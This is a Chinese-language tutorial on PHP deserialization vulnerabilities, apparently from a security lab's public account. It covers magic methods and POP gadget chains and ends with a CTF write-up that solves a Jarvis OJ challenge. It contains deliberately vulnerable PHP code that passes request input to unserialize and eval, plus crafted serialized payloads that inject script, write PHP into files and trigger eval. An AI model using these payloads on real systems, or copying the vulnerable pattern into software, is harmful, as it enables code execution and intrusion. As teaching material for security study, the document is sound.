PHP程序為了保存和轉儲對象,提供了序列化的方法,序列化是為了在程序運行的過程中對對象進行轉儲而產生的。
序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。
PHP序列化的函數為serialize,反序列化的函數為unserialize.
舉個慄子:
<?phpclass Test{ public $a = 'ThisA'; protected $b = 'ThisB'; private $c = 'ThisC'; public function test(){ return 'this is a test!'; }}$test = new Test();var_dump(serialize($test));?>輸出結果:
string(84) "O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}"
O:表示對象
:4:表示該對象名稱有四個字符
"Test":表示該對象的名稱
3:表示該對象有3個成員變量
接著是括號裡面的,這個類的三個成員變量由於變量前的修飾不同,在序列化出來後顯示的也不同。
s:1:"a";s:5:"ThisA"; :以 ;分開變量名和變量值,變量名為1個字符的a,變量值為"ThisA"
s:4:"*b";s:5:"ThisA";:多了 *,用以區分 protected 修飾符,另外實際頁面中會出現亂碼,實際上 protected屬性的表示方式是在變量名前加個%00%00
s:7:"Testc";s:5:"ThisC";: 在變量名前加上%00類名%00
可以看到, 序列化後的字符串中並沒有包含這個test方法的信息, 因為序列化不保存方法。
反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。
接上述慄子:
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test(){
return'this is test';
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
輸出結果:
object(Test)#2 (3) {
["a"]=> string(5) "ThisA"
["b":protected]=> string(5) "ThisB"
["c":"Test":private]=> string(5) "ThisC"
}
序列化和反序列化的原理其實很簡單,序列化給我們傳遞對象提供了一種簡單的方法,serialize()將一個對象轉換成一個字符串,unserialize()將字符串還原為一個對象,與Java的 writeObject與 readObject,其原理基本一致。
在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
從以上慄子來看似乎沒有問題,那麼反序列化漏洞是如何形成的呢?
這就要引入PHP裡面魔術方法的概念了。
魔術方法反序列化漏洞的形成通常和以下魔術方法有關:
__construct() #類似C構造函數,當一個對象創建時被調用,但在unserialize()時是不會自動調用的
__destruct() #類似C析構函數,當一個對象銷毀時被調用
__toString() #當一個對象被當作一個字符串使用時被調用
__sleep() #serialize()時會自動調用
__wakeup() #unserialize()時會自動調用
__call() #當調用對象中不存在的方法會自動調用該方法。
__get() #在調用私有屬性的時候會自動執行
__isset() #在不可訪問的屬性上調用isset()或empty()觸發
__unset() #在不可訪問的屬性上使用unset()時觸發
由前面可以看出,當傳給 unserialize() 的參數可控時,我們可以通過傳入一個精心構造的序列化字符串,從而控制對象內部的變量甚至是函數。
利用__destruct<?php
class test{
var $test = "hello";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['id'];
$a_u = unserialize($a);
?>
構造payload如下:
127.0.0.1/Unserialize/test.php
?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(/you are hacked/)</script>";}
利用__wakeupunserialize()後會導致 __wakeup()或 __destruct()的直接調用,中間無需其他過程.
因此最理想的情況就是一些漏洞/危害代碼在 __wakeup() 或 __destruct()中,從而當我們控制序列化字符串時可以去直接觸發它們 .
如下實驗:
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
我們可以通過構造序列化對象,其中test的值設置為 <?php phpinfo();?>,再調用unserialize()時會通過 __wakeup()把test的值的寫入到flag.php中,這樣當我們訪問同目錄下的flag.php即可達到實驗目的!
序列化字符串如下:
O:7:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
利用 __toString這麼簡單,反序列化漏洞就講完了嗎,no no no,平常經常看別的文章經常看到POP鏈這個名詞,那到底是神馬?
POP gadget如果一次unserialize()中並不會直接調用的魔術函數,比如前面提到的 __construct(),是不是就沒有利用價值呢?
非也,類似於棧溢出中的ROP gadget,有時候反序列化一個對象時,由它調用的 __wakeup()中又去調用了其他的對象,由此可以溯源而上,利用一次次的"gadget"找到漏洞點。
實驗如下:
<?php
class test1{
function __construct($test){
$fp = fopen("flag.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class test2{
var $test = '123';
function __wakeup(){
$obj = new test1($this->test);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
分析以上代碼,我們可以給id傳入構造好的序列化字符串,進行反序列化時會自動調用 test2中的 __wakeup方法,從而在 newtest1($this->test)時會調用 test1中的 __construct()方法,從而把 把 <?php phpinfo();?>寫入到 flag.php中,達到上面一樣的效果。
細心的朋友可能已經發現了,以上我們都是利用魔術方法這種自動調用的方法來利用反序列化漏洞的,如果缺陷代碼存在類的普通方法中,就不能指望通過"自動調用"來達到目的了。
利用普通方法當我們能利用的只有類中的普通方法時,這時我們需要尋找相同的函數名,把敏感函數和類聯繫在一起。
如下實驗:
<?php
class main {
var $test;
function __construct() {
$this->test = new test1();
}
function __destruct() {
$this->test->action();
}
}
class test1 {
function action() {
echo "hello world";
}
}
class test2 {
var $test2;
function action() {
eval($this->test2);
}
}
$a = new main();
unserialize($_GET['test']);
?>
大意為, newmain()得到一個新的main對象,調用 __construct(),其中又 newtest1(),
在結束後會調用 __destruct(),其中會調用 action(),從而輸出 hello world。
而我們需要尋找相同的函數名,即test2類中的action方法,因為其中有我們想要的eval方法.
下面使用PHP獲取序列化字符串:
<?php
class main {
var $test;
function __construct() {
$this->test = new test2();
}
}
class test2 {
var $test2 = "phpinfo();";
}
echo serialize(new main());
?>
得到序列化字符串如下:
O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
構造URL如下:
127.0.0.1/Unserialize/test3.php
?test=O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
相當於執行 <?phpeval("phpinfo();")?>
神盾局的秘密題目入口:
發現base64編碼後的文件名,解密後為shield.jpg
訪問: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw報錯,猜測可能需要將文件名經base64編碼後才能訪問。
訪問: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw,返回以下圖片內容。
我們嘗試將 index.php經basee64編碼後訪問:
view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
成功查看到 index.php源碼:
發現包含文件 shield.php,再次查看其源碼:
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
最後查看 showing.php的源碼:
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
綜合分析:題目過濾了 ".."、"/"、"\\"、"pctf"
根據提示, Flag存在於 pctf.php中
直接訪問 http://web.jarvisoj.com:32768/pctf.php,提示 FLAG:PCTF{I_4m_not_fl4g},欲蓋彌彰,哈哈!
查看源碼: view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=,提示 Filenotfound!
在index.php中我們看到可以通過 Readfile函數讀取一個反序列化的成員變量( pctf.php),變量名正好是我們傳入的參數( class),於是構造以下序列化字符串:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
訪問 http://web.jarvisoj.com:32768/index.php?g=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}即可得到 flag!
Ms08067安全實驗室
專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,預計2019年11月出版《內網安全攻防:滲透測試實戰指南》,目前在編Python滲透測試,JAVA代碼審計和APT方面的書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:www.ms08067.com